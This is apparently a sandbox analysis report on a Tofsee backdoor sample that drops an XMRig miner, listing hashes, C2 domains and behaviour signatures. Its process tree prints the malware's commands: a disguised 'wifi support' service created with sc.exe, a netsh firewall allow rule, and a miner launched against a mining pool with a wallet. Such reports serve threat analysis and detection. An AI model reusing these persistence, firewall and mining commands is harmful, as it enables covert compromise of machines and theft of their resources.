Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    04-06-2022 22:20

General

  • Target

    84c8c34d9ac8526b317a7447c3abfe046869c435658b25ec12b621010fc34439.exe

  • Size

    198KB

  • MD5

    06126325bcc7401f82f6657995d5812c

  • SHA1

    241ece19612504488c7daf2a1b5456afdec6ec69

  • SHA256

    84c8c34d9ac8526b317a7447c3abfe046869c435658b25ec12b621010fc34439

  • SHA512

    531bd8ae0249b9003fc38690ed370d07f0be182c1f1004ee5674502a4cedfd7f8cef9f7db73ee0d9a3bada8bbae4c9663fbc2ba9f8c7dc4e50e311a37f85adce

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\84c8c34d9ac8526b317a7447c3abfe046869c435658b25ec12b621010fc34439.exe
    "C:\Users\Admin\AppData\Local\Temp\84c8c34d9ac8526b317a7447c3abfe046869c435658b25ec12b621010fc34439.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4120
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gmdlgdcc\
      2⤵
        PID:952
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pcnsropc.exe" C:\Windows\SysWOW64\gmdlgdcc\
        2⤵
          PID:688
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gmdlgdcc binPath= "C:\Windows\SysWOW64\gmdlgdcc\pcnsropc.exe /d\"C:\Users\Admin\AppData\Local\Temp\84c8c34d9ac8526b317a7447c3abfe046869c435658b25ec12b621010fc34439.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4400
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description gmdlgdcc "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1008
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start gmdlgdcc
          2⤵
          • Launches sc.exe
          PID:1080
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2256
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4120 -s 652
          2⤵
          • Program crash
          PID:3048
      • C:\Windows\SysWOW64\gmdlgdcc\pcnsropc.exe
        C:\Windows\SysWOW64\gmdlgdcc\pcnsropc.exe /d"C:\Users\Admin\AppData\Local\Temp\84c8c34d9ac8526b317a7447c3abfe046869c435658b25ec12b621010fc34439.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2360
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:5088
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2580
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2360 -s 556
          2⤵
          • Program crash
          PID:1664
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4120 -ip 4120
        1⤵
          PID:4468
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 2360 -ip 2360
          1⤵
            PID:4892

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\pcnsropc.exe
            Filesize

            14.2MB

            MD5

            a79765efbb6fa180e6eb215c7cb01a85

            SHA1

            b9a914587a21b093f69823fe50b948048c56690a

            SHA256

            87d5f44584e2656485c0341ab8f9cb5197d09829407b66c224c0b9595a00da42

            SHA512

            d52e27bc7942ca192015b94b8bf0d6a8b5cd88e82ccc83aaaaa39e40f2605212ddf94ba7b64736a87d37b4dea0cc7121b052099142d32d1cb7f512cbce001c83

          • C:\Windows\SysWOW64\gmdlgdcc\pcnsropc.exe
            Filesize

            14.2MB

            MD5

            a79765efbb6fa180e6eb215c7cb01a85

            SHA1

            b9a914587a21b093f69823fe50b948048c56690a

            SHA256

            87d5f44584e2656485c0341ab8f9cb5197d09829407b66c224c0b9595a00da42

            SHA512

            d52e27bc7942ca192015b94b8bf0d6a8b5cd88e82ccc83aaaaa39e40f2605212ddf94ba7b64736a87d37b4dea0cc7121b052099142d32d1cb7f512cbce001c83

          • memory/688-134-0x0000000000000000-mapping.dmp
          • memory/952-130-0x0000000000000000-mapping.dmp
          • memory/1008-137-0x0000000000000000-mapping.dmp
          • memory/1080-138-0x0000000000000000-mapping.dmp
          • memory/2256-140-0x0000000000000000-mapping.dmp
          • memory/2360-146-0x0000000000ACA000-0x0000000000AD8000-memory.dmp
            Filesize

            56KB

          • memory/2360-147-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/2580-168-0x0000000000000000-mapping.dmp
          • memory/2580-174-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/2580-169-0x0000000001000000-0x00000000010F1000-memory.dmp
            Filesize

            964KB

          • memory/4120-132-0x0000000000B90000-0x0000000000BA3000-memory.dmp
            Filesize

            76KB

          • memory/4120-131-0x0000000000C1F000-0x0000000000C2D000-memory.dmp
            Filesize

            56KB

          • memory/4120-133-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/4120-141-0x0000000000400000-0x00000000008FB000-memory.dmp
            Filesize

            5.0MB

          • memory/4400-136-0x0000000000000000-mapping.dmp
          • memory/5088-142-0x0000000000000000-mapping.dmp
          • memory/5088-150-0x0000000002E00000-0x000000000300F000-memory.dmp
            Filesize

            2.1MB

          • memory/5088-153-0x00000000025E0000-0x00000000025E6000-memory.dmp
            Filesize

            24KB

          • memory/5088-156-0x00000000025F0000-0x0000000002600000-memory.dmp
            Filesize

            64KB

          • memory/5088-159-0x00000000031F0000-0x00000000031F5000-memory.dmp
            Filesize

            20KB

          • memory/5088-162-0x0000000007E40000-0x000000000824B000-memory.dmp
            Filesize

            4.0MB

          • memory/5088-165-0x0000000008390000-0x0000000008397000-memory.dmp
            Filesize

            28KB

          • memory/5088-149-0x0000000000F70000-0x0000000000F85000-memory.dmp
            Filesize

            84KB

          • memory/5088-148-0x0000000000F70000-0x0000000000F85000-memory.dmp
            Filesize

            84KB

          • memory/5088-143-0x0000000000F70000-0x0000000000F85000-memory.dmp
            Filesize

            84KB